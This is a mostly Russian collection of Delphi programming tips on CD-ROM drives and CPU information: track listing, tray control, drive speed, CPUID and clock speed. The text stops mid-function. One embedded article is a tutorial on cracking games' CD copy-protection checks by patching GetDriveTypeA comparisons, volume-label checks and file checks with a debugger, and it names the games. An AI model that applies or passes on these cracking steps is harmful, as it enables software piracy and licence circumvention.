  aDeviceID := GetTheDeviceID;
  Application.ProcessMessages;
  Memo1.Lines.Add('Track info  :');
  SetTimeInfo;
  Memo1.Lines.Add('Tracks: ' + GetTrackInfo(MCI_STATUS, MCI_STATUS_ITEM,
    MCI_STATUS_NUMBER_OF_TRACKS, 0));
  Memo1.Lines.Add(' ');
  for I := 1 to StrToInt(GetTrackInfo(MCI_STATUS, MCI_STATUS_ITEM,
    MCI_STATUS_NUMBER_OF_TRACKS, 0)) do
  begin
    Memo1.Lines.Add('Track ' + IntToStr(I) + '  :  ' + IntToStr(MCI_MSF_MINUTE
      (StrToInt(GetTrackInfo(MCI_STATUS, MCI_STATUS_ITEM +
      MCI_TRACK, MCI_STATUS_LENGTH, I)))) + ':' +
      IntToStr(MCI_MSF_SECOND(StrToInt(GetTrackInfo(MCI_STATUS,
      MCI_STATUS_ITEM + MCI_TRACK, MCI_STATUS_LENGTH, I)))));
  end;
  Application.ProcessMessages;
end;

end.

Solve 2:

To get the number of tracks and the length of the current track that is playing, use this code :

uses
  mmsystem;

procedure GetInfo(mp: TMediaPlayer);
var
  Trk, Min, Sec: word;
begin
  with mp do
  begin
    Trk := MCI_TMSF_TRACK(Position);
    Min := MCI_TMSF_MINUTE(Position);
    Sec := MCI_TMSF_SECOND(Position);
  end;
  label1.caption := Format('%.2d/%.2d %.2d:%.2d', [Trk, mp.tracks, min, sec]);
end;

And if you would like to check for an audio CD, try this code:

function IsAudioCD(Drive: char): bool;
var
  DrivePath: string;
  MaximumComponentLength: DWORD;
  FileSystemFlags: DWORD;
  VolumeName: string;
begin
  Result := false;
  DrivePath := Drive + ':\';
  if GetDriveType(PChar(DrivePath)) <> DRIVE_CDROM then
    exit;
  SetLength(VolumeName, 64);
  GetVolumeInformation(PChar(DrivePath), PChar(VolumeName), Length(VolumeName), nil,
    MaximumComponentLength, FileSystemFlags, nil, 0);
  if lStrCmp(PChar(VolumeName), 'Audio CD') = 0 then
    result := true;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


CD Remember

Как-то раз в один прекрасный день решил я у друга взять на денек очередной диск поиграть - и в итоге забыл его в дисководе у другого друга Вот и решил я написать программу-напоминалку: при завершении работы она выскакивает и спрашивает юзера, а не хотел бы он вынуть диск (если диска нет - она даже не пикнет )?

Исходный код модуля:

unit cd;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, StdCtrls, MMSystem;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    Label2: TLabel;
    Label3: TLabel;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    Edit1: TEdit;
    GroupBox1: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    Button2: TButton;
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

function FindCD:Integer;
var
  i, DType:integer;
  str:string;
  drive:integer;

begin
  Result:=0;
  for i:=65 to 90 do
  begin
  str:=chr(i)+':\';
  DType:=GetDrivetype(PChar(str));
  case DType of

      0: drive:=0;
      1: drive:=1;
      DRIVE_CDROM : drive:=i;
  end;
if not ((DType=0) or (Dtype=1)) then
Result:=drive;
end;
end;

function DiskInDrive(Drive: Char): Boolean;
var
  ErrorMode: word;
begin
  { переводим в верхний регистр }
  if Drive in ['a'..'z'] then Dec(Drive, $20);
  { убеждаемся, что это буква }
  if not (Drive in ['A'..'Z']) then
      raise EConvertError.Create('Not a valid drive ID');

  //отключаем критические ошибки//

  ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
  try
      if DiskSize (Ord(Drive) - $40) = -1 then
        Result := False
      else
        Result := True;
  finally
      { восстанавливаем старый режим ошибок }
      SetErrorMode(ErrorMode);
  end;
end;

procedure ChooseCloseMode;
begin
Form1.Height:=290;
Form1.Repaint;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Edit1.text:=(chr(Findcd)+':\');
Button1.Enabled:=false;
Label1.Enabled:=false;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
if DiskInDrive(chr(findcd))=true then
begin
Canclose:=false;
Form1.Show;
end
else // если нет
CanClose:=true;
end;

procedure TForm1.BitBtn2Click(Sender: TObject);
begin
ChooseCloseMode;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
Button1.Enabled:=true;
Label1.Enabled:=true;
BitBtn1.Enabled:=false;
Bitbtn2.Enabled:=false;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
ChooseCloseMode;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if Radiobutton1.Checked=true then
        ExitWindowsEx(EWX_POWEROFF or EWX_SHUTDOWN,0)
else
if Radiobutton2.Checked=true then
        ExitWindowsEx(EWX_REBOOT,0);

end;

end.

Немного кривоваты комментарии, но кому нужно - разберется.
Код .DPR файла:

program cdrem;

uses
  Forms,
  cd in 'cd.pas' {Form1};

{$R *.RES}

begin
  Application.Initialize;
  Application.ShowMainForm:=false;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Автор: Blabsadm

Компилятор: Delphi 5


Как различать звуковые CD

лазерный диск имеет свой идентификатор. Если сохранить, какому диску соответствует какой идентификатор, то можно реализовать определение диска.

В этой программе при нажатии на кнопку происходит проверка, есть ли название этого диска в файле. Если есть, то в заголовок окна выводится его название, если нет, то введенное пользователем название диска сохраняется в файл.

uses MMSystem, IniFiles;

function GetCDid: string;
var
  InfoParams: TMCI_Info_Parms;
  s: array [0..63] of char;
  OpenParams: TMCI_Open_Parms;
  CloseParams: TMCI_Generic_Parms;
begin
  result := '';
  FillChar(InfoParams, sizeof(InfoParams), #0);
  InfoParams.lpstrReturn := @s[0];
  InfoParams.dwRetSize := 10;
  OpenParams.dwCallback := 0;
  OpenParams.lpstrDeviceType := 'CDAudio';
  if mciSendCommand(0, mci_Open, mci_Open_Type,

    Longint(addr(OpenParams))) <> 0 then Exit;
  if mciSendCommand(OpenParams.wDeviceID, MCI_INFO,
    MCI_INFO_MEDIA_IDENTITY, longint(@InfoParams)) = 0
  then result := s;
  mciSendCommand(OpenParams.wDeviceID, mci_Close, 0,
    Longint(addr(CloseParams)));
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  id: string;
  ini: TIniFile;
  name: string;
begin
  id := GetCDid;
  if id = '' then begin

    Form1.Caption := 'No disk';
    Exit;
  end;
  ini := TIniFile.Create(ExtractFilePath(Application.ExeName) +
    'cd.ini');
  name := ini.ReadString('CD', id, '');
  if name = '' then begin
    name := 'CD name';
    if not InputQuery('CD name', 'Enter CD name:', name)
      then Exit;
    ini.WriteString('CD', id, name);
  end;
  Form1.Caption := name;
  ini.Destroy;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


How to check, if a CD-Recorder is available? (WinXP)

{....}

uses Registry;

{....}

function HasCDRecorder: Boolean;
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  try
    // set the the Mainkey,
    reg.RootKey := HKEY_CURRENT_USER;
    // Open a key
    reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning', False);
    // Check if the Key exists
    Result := reg.ValueExists('CD Recorder Drive');
    // Close the key
    reg.CloseKey;
  finally
    // and free the TRegistry Object
    reg.Free;
  end;
end;

// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  if HasCDRecorder then
    ShowMessage('CD-Recorder available.')
  else
    ShowMessage('CD-Recorder NOT available.');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Практически все о взломе CD

Вступление

Наконец, я решился на написание этой статьи, идея пришла давно, но полностью систематизировать решился только сегодня. Сегодня мы не будем рассматривать конкретного взлома. На это есть две причины:

1) У меня начал глючить CD-ROM, пора менять
2) Статья получилась бы слишком длинной

В принципе вторая причина меня волнует мало, но первая встала доста- точно остро.

Хотя сдесь и будет в основном теоретический материал, о способах за- щиты от копирования с CD и методах устранения такой нехорошести, но я буду приводить и примеры игр, к сожалению, многое ломается на ходу и не обременяешь себя запоминанием, поэтому примеры игры в основном одни и те же.

Принципы и методы защиты

Сейчас я постараюсь написать все, когда либо встреченные методы за- щиты:

1) Проверка на наличие диска
2) Проверка на метку тома
3) Проверка на наличие места
5) Проверка на наличие файла и его аттрибуты
5) Проверка на запись файла
6) Другие виды проверки
7) Некоторые общие моменты

1) Проверка на наличие диска

Я разделяю эти проверки на два класса:

1) Функцией GetDriveTypeA

Теория: Функция GetDriveTypeA возвращает в eax тип диска по его имени Вот список возвращаемых значений.

0 -- - Невозможно определить тип
1 -- - Диск не найден
2 DRIVE_REMOVABLE - Гибкий (возможна замена)
3 DRIVE_FIXED - Жесткий (замена невозможна)
4 DRIVE_REMOTE - Сетевой диск
5 DRIVE_CDROM - CD-ROM
6 DRIVE_RAMDISK - RAM - Диск

Как часто встречается:

Такая проверка стоит на абсолютном большинстве ИГР.

Методы взлома:

1) Используя Soft-Ice/TRW2000 поставить бряк на эту функцию командой bpx GetDriveTypeA и если после выхода в вызывающую программу, недалеко стоит cmp eax, 00000005, то следует 5 исправить на 3, т.е. программа будет искать не CD-ROM, а жесткий диск.

2) Дизассемблировать перейти к месту вызова функции, посмотреть, есть ли сравнение. Это несколько модернизированный вариант пункта 1.

3) На эту идею я натолкнулся в статье Vadim M. "Как отучить игры от про- верки CD-ROM (на примере Hellfire)". Краткое описание: поскольку функция GetDriveTypeA вызывается из kernel32.dll будем править там, смысл, чтобы все жесткие диски в системе были бы как CD-ROM'ы, этого легко достичь пере- правив результат возвращаеммый функцией с 3 на 5, правдо это не всегда про- ходит. Эту статью можно увидеть на www.reversing.net

Примеры игр:

Project IGI, Deadly Dozen, and many others

2) Запись имя диска в реестр или файл

Как часто встречается:

Достаточно часто

Метод взлома:

Я использую такой метод, т.к. программа где-то сохранила имя CD-ROM'a, значит, если мы изменим имя, то программа откажется запускаться, даже если диск будет торчать в CDюке. Изменяем имя и если запускаться перестанет, то ищем с помощью RegMon и FileMon, куда программа его запрятала.

Примеры игр:

Shockman (Шокмэн), записывала в файл WINDOWS\facked.ini

2) Проверка на метку тома

Теория: Метка тома проверяется с помощи функции GetVolumeInformation, если эта функция вызывается, то почти однозначный вывод проверка метки тома. Функция очень часто используется с категорией 1.

Как часто встречается:

Очень часто

Методы взлома:

1) Используя Soft-Ice/TRW2000 поставить бряк на эту функцию командой bpx GetVolumeInformation. После этой процедуры скорее всего идет процедура сравнения правильной метки с вашей. После процедуры переправить переход.

2) Дизассемблировать перейти к месту вызова функции, посмотреть, есть ли сравнение и т.д.. Это несколько модернизированный вариант пункта 1.

3) Если категорию 1 вы уже правили. Посмотреть метку тома на компакт-ди- ске, и установить такую же на любом жестком диске.

4) Если категорию 1 не правили. Берем любой свой компакт с длинной метки тома меньшей, либо равной длинне метки на ломаемом компакте. Ищем в испол- няемых файлах программы, настоящую метку и заменяем ее нашей. Вывод если Вы вставляете свой компакт, игра думает, что это ее родной.

Примеры игр:

Deadly Dozen

3) Проверка на наличие места

Теория: Наличие свободного места на диске проверяется функцией GetDiskFreeSpace. Функция вызывается для того, чтобы проверить что это за диск, ведь на CD свободного места нет.

Как часто встречается:

Бывает

Методы взлома:

Аналогичны методам 1 и 2 из 1 и 2 категории, только на другую функцию.

Примеры игр:

Была какая-то, но не помню названия.

4) Проверка на наличие файла и его аттрибуты

Теория: Один из распространившихся в последнее время приемчиков, часто это используется для проверки видео. Которое не копируется на ЖД. В основном используются такие функции:

GetFileAttributesA - Проверка аттрибутов файла
ReadFile - Чтение файла
GetFileSize - Получение размера файла
FindFirstFile - Поиск файла.

Как часто встречается:

Иногда

Метод взлома:

Я использую такой метод, запускаем FileMon. Затем запускаем игру, со вставленным компактом. Потом сразу же выходим и смотрим, к каким файлам шло обращение. Если файлы не большие можно скопировать их на ЖД, если есть большие видео, то их можно заменить любыми другими видаками маленького размера. В других случая придется править переходы. Если используются все эти функции придется попотеть.

Примеры игр:

Project IGI, в этой игре были два файла по 1 байту, я их скопировал на диск C: в корневой, изменил после GetDriveTypeA сравнение и все.

5) Проверка на запись файла

Теория: Для этого используются функции WriteFile и GetLastError. Одна для записи файла другая для проверки ошибки, если они стоят подряд, то это явно она.

Как часто встречается:

Ни разу не встречал

Метод взлома:

Чуть-чуть исправленный метод из предыдущей категории.

Примеры игр:

Я же сказал: "Не встречал!"

6) Другие виды проверки

Теория: Бывают и другие сильно замусоленные проверки

Как часто встречается:

На дисках компании "Русобит"

Метод взлома:

Почитайте статьи ASMax'a на www.reversing.net

Примеры игр:

Казаки, Star Force.

7) Некоторые общие моменты

Часто в играх проверки объединены в одну общую процедуру. И удалив ее, программа начинает работать.

Практически всегда программа защищена совокупностью защит, которые здесь представлены в разных категориях.

Статья не претендует на всеобщность, поэтому я не могу предугадать ходы разработчиков. Статья открыта для дополнения, если у Вас есть какие нибудь ценные мысли по этому поводу, шлите на мыло.

Все ругательства отправлять в null
Все остальное на lomovskih@yandex.ru

P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!!

P.P.S. Возможно имеют место опечатки, заранее извините!

With best wishes Fess

И да пребудет с вами великий дух bad-сектора.

Взято с http://delphiworld.narod.ru


Как узнать производителя CD/DVD?

Как это сделать через WMI я вроде разобрался.
Только не нравиться мне, что приходится перебирать в цикле все свойства
Win32_CDROMDrive. Может кто знает как сразу к конкретному свойству обратиться, т.е.
избавиться от строки "while PropEnum.Next(1, TempObj, Value) = S_OK do"

Вот рабочий пример для D7.
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, WbemScripting_TLB, OleServer, ActiveX, StdCtrls, ExtCtrls,
  ComCtrls;
type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    SWbemLocator1: TSWbemLocator;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation

{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
  Service: ISWbemServices;
  ObjectSet: ISWbemObjectSet;
  SObject: ISWbemObject;
  PropSet: ISWbemPropertySet;
  SProp: ISWbemProperty;
  PropEnum, Enum: IEnumVariant;
  TempObj: OleVariant;
  Value: Cardinal;
  dr:string;
begin
  ListBox1.Clear;
  Service:= SWbemLocator1.ConnectServer('.', 'root\CIMV2', '', '', '','', 0, nil);
  SObject:= Service.Get('Win32_CDROMDrive', wbemFlagUseAmendedQualifiers, nil);
  ObjectSet:= SObject.Instances_(0, nil);
  Enum:= (ObjectSet._NewEnum) as IEnumVariant;
  dr:='';
  while (Enum.Next(1, TempObj, Value) = S_OK) do
  begin
    SObject:= IUnknown(TempObj) as SWBemObject;
    PropSet:= SObject.Properties_;
    PropEnum:= (PropSet._NewEnum) as IEnumVariant;
    while PropEnum.Next(1, TempObj, Value) = S_OK do
    begin
      SProp:= IUnknown(TempObj) as SWBemProperty;
      if SProp.Name='Drive' then dr:=SProp.Get_Value;
      if SProp.Name='Name' then ListBox1.AddItem(dr+'  '+SProp.Get_Value, nil);
    end;
  end;
end;
end.

Автор eralex
Взято из http://forum.sources.ru


Как открыть CD-ROM, если их несколько в системе?

// DriveTools 1.0                                                               *
//                 (c) 1999 Jan Peter Stotz                                     *
// If you find bugs, has ideas for missing featurs, feel free to contact me     *
//                           jpstotz@gmx.de                                     *
// Date last modified:   May 22, 1999                                           *

unit DriveTools;

interface

uses

  Windows, SysUtils, MMSystem;

function CloseCD(Drive: Char): Boolean;
function OpenCD(Drive: Char): Boolean;

implementation

function OpenCD(Drive: Char): Boolean;
var

  Res: MciError;
  OpenParm: TMCI_Open_Parms;
  Flags: DWord;
  S: string;
  DeviceID: Word;
begin

  Result := false;
  S := Drive + ':';
  Flags := mci_Open_Type or mci_Open_Element;
  with OpenParm do
  begin
    dwCallback := 0;
    lpstrDeviceType := 'CDAudio';
    lpstrElementName := PChar(S);
  end;
  Res := mciSendCommand(0, mci_Open, Flags, Longint(@OpenParm));
  if Res <> 0 then
    exit;
  DeviceID := OpenParm.wDeviceID;
  try
    Res := mciSendCommand(DeviceID, MCI_SET, MCI_SET_DOOR_OPEN, 0);
    if Res = 0 then
      exit;
    Result := True;
  finally
    mciSendCommand(DeviceID, mci_Close, Flags, Longint(@OpenParm));
  end;
end;

function CloseCD(Drive: Char): Boolean;
var

  Res: MciError;
  OpenParm: TMCI_Open_Parms;
  Flags: DWord;
  S: string;
  DeviceID: Word;
begin

  Result := false;
  S := Drive + ':';
  Flags := mci_Open_Type or mci_Open_Element;
  with OpenParm do
  begin
    dwCallback := 0;
    lpstrDeviceType := 'CDAudio';
    lpstrElementName := PChar(S);
  end;
  Res := mciSendCommand(0, mci_Open, Flags, Longint(@OpenParm));
  if Res <> 0 then
    exit;
  DeviceID := OpenParm.wDeviceID;
  try
    Res := mciSendCommand(DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);
    if Res = 0 then
      exit;
    Result := True;
  finally
    mciSendCommand(DeviceID, mci_Close, Flags, Longint(@OpenParm));
  end;
end;

end.

Взято из http://forum.sources.ru


Изменение скорости привода CD-ROM

Находим в интернете файл ASPI.pas (еще есть wnaspi32.pas), подключаем его к проекту, пишем следующий код:

function SetCDSpeed(Host,Target:byte;Speed:integer):BOOL;
var
  dwASPIStatus: DWORD;
  hEvent: THandle;
  srbExec: SRB_ExecSCSICmd;
begin
  if Speed<176 then result:=false
  else
  begin
  hEvent:=CreateEvent(nil, true, false, nil);
  Fillchar(srbExec,sizeof(SRB_ExecSCSICmd),0);
  srbExec.SRB_Cmd:= SC_EXEC_SCSI_CMD;
  srbExec.SRB_Flags:= SRB_DIR_OUT or SRB_EVENT_NOTIFY;
  srbExec.SRB_Target:= Target;
  srbExec.SRB_HaId:= Host;
  srbExec.SRB_Lun:= 0;
  srbExec.SRB_SenseLen:= SENSE_LEN;
  srbExec.SRB_CDBLen:= 12;
  srbExec.SRB_PostProc:=Pointer(hEvent);
  srbExec.CDBByte[0]:= $BB; // команда изменения скорости привода
  srbExec.CDBByte[2]:= Speed shr 8;
  srbExec.CDBByte[3]:= Speed;
  srbExec.CDBByte[4]:= $FF;
  srbExec.CDBByte[5]:= $FF;
  ResetEvent(hEvent);
  dwASPIStatus:= SendASPI32Command(@srbExec);
  if dwASPIStatus=SS_PENDING
  then
  begin
    WaitForSingleObject(hEvent,INFINITE);
  end;
  if srbExec.SRB_Status<>SS_COMP
  then
  begin
    MessageBox(0,'Error processing the SRB.','Error',MB_OK);
    result:=false;
  end
  else
  result:=true;
  end;
end;

Какие параметры передавать - написано в том же ASPI.pas

Автор Rouse_
Взято из http://forum.sources.ru


Процессор, сопроцессор

Cодержание раздела:

Как найти скорость процессора?
Как получить информацию о процессоре? Updated!
Количество активных потоков и загруженность процессора
Поддерживает ли процессор технологию 3DNow
Как узнать загрузку процессора? (NT/2000/XP) Updated!
Как определить наличие сопроцессора?
Получение количества установленных процессоров
Получение уровня процессора
Работа с портами микропроцессора
Поддерживается ли MMX New!
Как запустить процесс на конкретном процессоре в много процессорной системе? New!


Как найти скорость процессора?

Пример взят из рассылки: СообЧА. Программирование на Delphi (http://Subscribe.Ru/catalog/comp.soft.prog.delphi2000)

function GetCPUSpeed: Double;
  const DelayTime = 500;
var TimerHi : DWORD;
     TimerLo : DWORD;
     PriorityClass : Integer;
     Priority : Integer;
begin
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);
  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
  Sleep(10);
  asm
    DW 310Fh // rdtsc
    MOV TimerLo, EAX
    MOV TimerHi, EDX
  end;
  Sleep(DelayTime);
  asm
    DW 310Fh // rdtsc
    SUB EAX, TimerLo
    SBB EDX, TimerHi
    MOV TimerLo, EAX
    MOV TimerHi, EDX
  end;
  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  Result := TimerLo / (1000.0 * DelayTime);
end;

// Usage ...

LabelCPUSpeed.Caption := Format('CPU speed: %f MHz', [GetCPUSpeed]);

Взято с Vingrad.ru http://forum.vingrad.ru

function GetCPUSpeed: real;

  function IsCPUID_Available: Boolean; assembler; register;
  asm
            PUSHFD                { прямой доступ к флагам невозможен, только через стек }
            POP    EAX            { флаги в EAX }
            MOV    EDX,EAX        { сохраняем текущие флаги }
            XOR    EAX,$200000    { бит ID не нужен }
            PUSH    EAX           { в стек }
            POPFD                { из стека в флаги, без бита ID }
            PUSHFD                { возвращаем в стек }
            POP    EAX            { обратно в EAX }
            XOR    EAX,EDX        { проверяем, появился ли бит ID }
            JZ      @exit         { нет, CPUID не доступен }
            MOV    AL,True        { Result=True }
            @exit:
  end;

  function hasTSC: Boolean;
  var
    Features: Longword;
  begin
    asm
              MOV    Features,0    { Features = 0 }

              PUSH    EBX
              XOR    EAX,EAX
              DW      $A20F
              POP    EBX

              CMP    EAX,$01
              JL      @Fail

              XOR    EAX,EAX
              MOV    EAX,$01
              PUSH    EBX
              DW      $A20F
              MOV    Features,EDX
              POP    EBX
              @Fail:
    end;

    hasTSC := (Features and $10) <> 0;
  end;

const
  DELAY = 500;
var
  TimerHi, TimerLo: Integer;
  PriorityClass, Priority: Integer;
begin
  Result := 0;
  if not (IsCPUID_Available and hasTSC) then Exit;
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);

  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread,
    THREAD_PRIORITY_TIME_CRITICAL);

  SleepEx(10, FALSE);

  asm
            DB      $0F           { $0F31 op-code for RDTSC Pentium инструкции }
            DB      $31           { возвращает 64-битное целое (Integer) }
            MOV    TimerLo,EAX
            MOV    TimerHi,EDX
  end;

  SleepEx(DELAY, FALSE);

  asm
            DB      $0F           { $0F31 op-code для RDTSC Pentium инструкции }
            DB      $31           { возвращает 64-битное целое (Integer) }
            SUB    EAX,TimerLo
            SBB    EDX,TimerHi
            MOV    TimerLo,EAX
            MOV    TimerHi,EDX
  end;

  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  Result := TimerLo / (1000 * DELAY);
end;

Взято из http://forum.sources.ru

const
ID_BIT=$200000; // EFLAGS ID bit

function GetCPUSpeed: Double;
const
  DelayTime = 500;
var
  TimerHi, TimerLo: DWORD;
  PriorityClass, Priority: Integer;
begin
try
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);

  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriorit(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL);

  Sleep(10);
  asm
    dw 310Fh // rdtsc
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  Sleep(DelayTime);
  asm
    dw 310Fh // rdtsc
    sub eax, TimerLo
    sbb edx, TimerHi
    mov TimerLo, eax
    mov TimerHi, edx
  end;

  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);

  Result := TimerLo / (1000.0 * DelayTime);
  except end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var cpuspeed:string;
begin
  cpuspeed:=Format('%f MHz', [GetCPUSpeed]);
  edit1.text := cpuspeed;
end;

Взято из http://forum.sources.ru

function RdTSC : int64; register;
asm
  db   $0f, $31
end;

function GetCyclesPerSecond : int64;
var
  hF, T, et, sc : int64;
begin
  QueryPerformanceFrequency(hF);                          // HiTicks / second
  QueryPerformanceCounter(T);                        // Determine start HiTicks
  et := T + hF;           // (Cycles are passing, but we can still USE them!)
  sc := RdTSC;                                                          // Get start cycles
  repeat                                    // Use Hi Perf Timer to loop for 1 second
    QueryPerformanceCounter(T);                            // Check ticks NOW
  until (T >= et);                    //  Break the moment we equal or exceed et
  Result := RdTSC - sc;                // Get stop cycles and calculate result
end;

Взято из http://forum.sources.ru


Как получить информацию о процессоре?

О процессоре можно на любом уровне (приложении или драйвере) получить информацию с помощью команды(машинной) CPUID(386+):

Например(Вставка на асм в языке Паскаль):

{Получить тип процессора}
asm
  mov eax,0
  cpuid {Или db 0Fh, 0A2h}
  {Теперь регистры EBX:ECX:EDX содержат строку "Genu-inel-ntel" (например)}
end;

Передать в Паскаль содержимое регистров можно, например, так:

var
  EBXstr,ECXstr,EDXstr: string[5];
begin
asm
mov eax,0
cpuid
mov dword ptr EBXstr+1,EBX
mov byte ptr EBXstr,4
mov dword ptr ECXstr+1,ECX
mov byte ptr ECXstr,4
mov dword ptr EDXstr+1,EDX
mov byte ptr EDXstr,4
end;

writeln(EBSstr,ECXstr,EDXstr);

Автор ответа: Chingachguk

unit CpuId;
interface
uses Windows, Mmsystem, Sysutils, Math, Dialogs;
type
    TCpuRec=record
       Name:string[128];
       Vendor:string[12];
       Frequency:word;
       Family:integer;
       Model:integer;
       Stepping:integer;
       L1DCache:word;
       L1ICache:word;
       L2Cache:word;
     end;
    TCpuType = (cpu8086, cpu286, cpu386, cpu486, cpuPentium);
    TCpuData=object
      function GetCPUIDSupport:Boolean;
      function GetVendorString:string;
      function GetCPUFrequency:word;
      procedure GetFMS(var Family,Model,Stepping:byte);
      function GetMaxCpuId:dword;
      function CheckFPU:Boolean;
      function CheckTSC:Boolean;
      function CheckMSR:Boolean;
      function CheckMPS:Boolean;
      function GetNoCpus:cardinal;
      function CheckPN:Boolean;
      function CheckCMPXCHG8B:Boolean;
      function CheckCMOVe:Boolean;
      function CheckSelfSnoop:Boolean;
      function CheckDebugTraceStore:Boolean;
      function CheckFXSAVEFXRSTOR:Boolean;
      function CheckMMX:Boolean;
      function CheckMMXplus:Boolean;
      function CheckSSE:Boolean;
      function CheckSSE2:Boolean;
      function CheckAMD3DNow:Boolean;
      function CheckAMD3DNowPlus:Boolean;
      function GetMaxExtendedFunctions:dword;
      procedure GetExtendedFMS(var Family,Model,Stepping:byte);
      function GetExtendedCpuName:string;
      function GetExtendedL1DCache:word;
      function GetExtendedL1ICache:word;
      function GetExtendedL2Cache:word;

      function CheckCeleron:Boolean;
      function CheckPentiumIII:Boolean;
      function CheckXeon:Boolean;
      function CheckPentium4:Boolean;
      function CheckIthanium:Boolean;

//****Aici am conrectat****
      function IntelP5N:string;
      function IntelP6N:string;
//****Pana aici****
      function AMDK5N:string;
      function Cyrix686N:string;
      function GenericCpuN:string;
      function P5CacheL1DI:word;
      function P6CacheL1DI:word;
      function P6CacheL2:word;

      function AuthenticAMD:TCpuRec;

      function GenuineIntel:TCpuRec;
      function CyrixInstead:TCpuRec;
      function GenericCPU:TCpuRec;
     end;
const
Intel486:array[0..8] of string=
(''Intel 486 DX'',
  ''Intel 486 DX'',
  ''Intel 486 SX'',
  ''Intel 486 DX2'',
  ''Intel 486 SL'',
  ''Intel 486 SX2'',
  ''Intel 486 DX2'',
  ''Intel 486 DX4'',
  ''Intel 486 DX4'');
UMC486:array[0..1] of string=
(''UMC U5D'',
  ''UMC U5S'');
AMD486:array[0..5] of string=
(''AMD 486 DX2'',
  ''AMD 486 DX2'',
  ''AMD 486 DX4'',
  ''AMD 486 DX4'',
  ''AMD 5x86'',
  ''AMD 5x86'');
IntelP5:array[0..6] of string=
(''Intel Pentium P5 A-Step'',
  ''Intel Pentium P5'',
  ''Intel Pentium P54C'',
  ''Intel Pentium P24T Overdrive'',
  ''Intel Pentium MMX P55C'',
  ''Intel Pentium P54C'',
  ''Intel Pentium MMX P55C'');
  NexGenNx586=''NexGen Nx586'';
  Cyrix4x86=''VIA Cyrix 4x86'';
  Cyrix5x86=''VIA Cyrix 5x86'';
  CyrixMediaGX=''VIA Cyrix Media GX'';
  CyrixM1=''VIA Cyrix 6x86'';
  CyrixM2=''VIA Cyrix 6x86MX'';
  CyrixIII=''VIA Cyrix III'';
  AMDK5:array[0..3] of string=
  (''AMD SSA5 (PR75/PR90/PR100)'',
   ''AMD 5k86 (PR120/PR133)'',
   ''AMD 5k86 (PR166)'',
   ''AMD 5k86 (PR200)'');
  AMDK6:array[0..4] of string=
  (''AMD K6 (166~233)'',
   ''AMD K6 (266~300)'',
   ''AMD K6-2'',
   ''AMD K6-III'',
   ''AMD K6-2+ or K6-III+'');
   Centaur:array[0..2] of string=
   (''Centaur C6'',
    ''Centaur C2'',
    ''Centaur C3'');
   Rise:array[0..1] of string=
   (''Rise mP6'',
    ''Rise mP6'');
   IntelP6:array[0..7] of string=
   (''Intel Pentium Pro A-Step'',
    ''Intel Pentium Pro'',
    ''Intel Pentium II'',
    ''Intel Pentium II'',
    ''Intel Pentium II'',
    ''Intel Pentium III'',
    ''Intel Pentium III'',
    ''Intel Pentium III'');
   AMDK7:array[0..3] of string=
    (''AMD Athlon(tm) Processor'',
     ''AMD Athlon(tm) Processor'',
     ''AMD Duron(tm) Processor'',
     ''AMD Thunderbird Processor'');
   IntelP4=''Intel Pentium 4'';
var CpuData:TCpuData;
implementation
function TCpuData.GetCPUIDSupport:Boolean;
var TempDetect:dword;
begin
asm
  pushf
  pushfd
  push eax
  push ebx
  push ecx
  push edx

  pushfd
  pop eax
  mov ebx,eax
  xor eax,$00200000
  push eax
